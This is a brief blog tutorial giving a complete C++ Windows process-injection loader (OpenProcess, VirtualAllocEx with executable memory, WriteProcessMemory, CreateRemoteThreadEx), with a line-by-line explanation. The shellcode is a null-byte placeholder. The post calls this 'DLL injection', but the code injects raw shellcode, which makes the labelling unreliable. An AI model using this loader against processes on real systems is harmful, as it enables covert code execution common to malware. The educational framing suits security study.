DLL Injection TLDR;
Posted on Nov 17, 2022Introduction
This post gives us a simple example of performing DLL injection in Windows
Code Example and Documentation
Below is a C++ code snippet that demonstrates a form of process injection, specifically using the Windows API.
#include
#include
#include
#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define error(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
int main(int argc, char* argv[]) {
if (argc < 2) {
error("Not enough parameters: program.exe ");
return EXIT_FAILURE;
}
DWORD PID = atoi(argv[1]);
HANDLE hProcess, hThread;
LPVOID rBuffer;
DWORD TID;
unsigned char shell[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00";
info("Trying to open a handle to the process");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL) {
error("Couldn't get a handle to the process. Error code: %d", GetLastError());
return EXIT_FAILURE;
}
okay("Got a handle to the process: 0x%p", hProcess);
rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shell), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (rBuffer == NULL) {
error("Failed to allocate memory in the target process");
CloseHandle(hProcess);
return EXIT_FAILURE;
}
okay("Allocated %zu bytes with PAGE_EXECUTE_READWRITE permissions", sizeof(shell));
if (!WriteProcessMemory(hProcess, rBuffer, shell, sizeof(shell), NULL)) {
error("Failed to write to process memory");
CloseHandle(hProcess);
return EXIT_FAILURE;
}
okay("Wrote %zu bytes to process memory", sizeof(shell));
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);
if (hThread == NULL) {
error("Failed to create remote thread");
CloseHandle(hProcess);
return EXIT_FAILURE;
}
okay("Got a handle to the remote thread: 0x%p", hThread);
info("Waiting for thread to finish");
WaitForSingleObject(hThread, INFINITE);
okay("Thread finished executing");
info("Cleaning up...");
CloseHandle(hThread);
CloseHandle(hProcess);
okay("Finished!");
return EXIT_SUCCESS;
}
Explanation of the Code
Importing Headers
#include
#include
#include
The Windows API, standard I/O, and the standard library headers are included for process manipulation, output printing, and utility functions, respectively.
Macros for Logging
#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define error(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
Macros make logging simpler, offering a concise way to output status messages.
Main Function
int main(int argc, char* argv[])
The program starts its execution here and expects a Process ID (PID) as a command-line argument.
Validating Arguments
if (argc < 2) {
error("Not enough parameters: program.exe ");
return EXIT_FAILURE;
}
Here, the code checks if a PID has been provided by the user. If not, it terminates the program with an error message.
Open Process Handle
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
OpenProcess
returns a handle to the specified process, giving access to its memory and threads.
The function accepts several parameters:
- PROCESS_ALL_ACCESS: Grants all possible access rights to the process object.
- FALSE: Indicates that the handle is not inheritable.
- PID: The target process ID.
Allocate Remote Buffer
rBuffer = VirtualAllocEx(hProcess, NULL, sizeof(shell), (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
VirtualAllocEx
allocates memory within the target process.
This is where the injected code (or DLL) will reside. Parameters explained:
- hProcess: The handle to the process where the memory is allocated.
- NULL: The function determines where to allocate the memory.
- sizeof(shell): The size of the memory to allocate.
- MEM_COMMIT | MEM_RESERVE: Memory is initially committed and reserved.
- PAGE_EXECUTE_READWRITE: Permissions for the allocated memory.
Write Shellcode
WriteProcessMemory(hProcess, rBuffer, shell, sizeof(shell), NULL);
WriteProcessMemory
writes data to the memory area allocated in the target process.
It effectively injects the shellcode or DLL into the process.
Create Remote Thread
hThread = CreateRemoteThreadEx(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, 0, &TID);
CreateRemoteThreadEx
creates a thread inside the target process and starts its execution at the allocated memory location.
Wait for Completion
WaitForSingleObject(hThread, INFINITE);
WaitForSingleObject
suspends the calling thread until the target thread finishes its execution.
Cleanup
CloseHandle(hThread);
CloseHandle(hProcess);
The handles to the process and thread are closed using CloseHandle
, freeing resources and avoiding memory leaks.
Conclusion
Hopefully, this article sheds some light on the topic of DLL Injection, using Windows API as an example. Understanding these concepts can be crucial for software debugging, security research, and reverse engineering. Checkout the version I made using Go on my github: ProcessInjector.
Disclaimer
This code is essentially for process injection on Windows, which could be considered malicious behavior depending on its use. Use responsibly and only on systems where you have explicit permission.